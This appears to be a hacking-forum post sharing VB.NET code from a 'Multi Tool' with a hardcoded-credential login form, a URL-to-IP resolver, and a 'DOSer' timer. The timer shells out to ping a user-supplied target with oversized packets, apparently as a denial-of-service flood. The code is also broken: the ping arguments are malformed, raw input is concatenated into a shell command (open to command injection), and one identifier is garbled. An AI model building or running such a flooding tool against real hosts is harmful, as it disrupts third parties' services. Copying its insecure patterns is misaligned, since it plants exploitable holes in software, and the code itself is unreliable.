Code:
Private Sub BullionButton1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BullionButton1.Click
Timer1.Start()
Label2.Text = "Logging In"
If TextBox1.Text = "" And TextBox2.Text = "" Then
Label2.Text = "No Details"
MsgBox("Please Enter a Username and Password", MsgBoxStyle.Information, "Multi Tool")
ProgressBar1.Value = 0
Timer1.Stop()
Else
If TextBox1.Text = "" Then
MsgBox("Please Enter a Username", MsgBoxStyle.Information, "Multi Tool")
ProgressBar1.Value = 0
Timer1.Stop()
Label2.Text = "No Username"
Else
If TextBox2.Text = "" Then
MsgBox("Please Enter a Password", MsgBoxStyle.Information, "Multi Tool")
ProgressBar1.Value = 0
Timer1.Stop()
Label2.Text = "No Password"
Else
If TextBox1.Text = "USERNAME" And TextBox2.Text = "PASSWORD" Then
ProgressBar1.Value = 100
Me.Hide()
Form1.Show()
Else
MsgBox("Incorrect Login Credentials", MsgBoxStyle.Information, "Multi Tool")
ProgressBar1.Value = 0
Timer1.Stop()
Label2.Text = "Try Again"
End If
End If
End If
End If
End Sub
That pretty much speaks for itself.
Code:
Private Sub BullionButton6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BullionButton6.Click
Try
If TextBox2.Tex*****ntains("https://") Then
Dim iphe As IPHostEntry = Dns.GetHostEntry(TextBox2.Text.Replace("https://", String.Empty))
TextBox2.Text = iphe.AddressList(0).ToString()
Else
Dim iphe As IPHostEntry = Dns.GetHostEntry(TextBox2.Text)
TextBox2.Text = iphe.AddressList(0).ToString()
End If
Catch ex As Exception
MsgBox(ex)
End Try
End Sub
Heres the pinging shit:
Code:
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If TextBox1.Text = "" Then
Timer1.Stop()
MsgBox("Please Enter an IP", MsgBoxStyle.Information, "DOSer")
End If
BullionProgressBar1.Progress = BullionProgressBar1.Progress + 10
BullionProgressBar1.UpdateProgress()
Shell("Ping " + (TextBox1.Text + "-1" + "65000"))
Timer1.Stop()
End Sub
Not going to explain the rest of the shit, and break down every piece.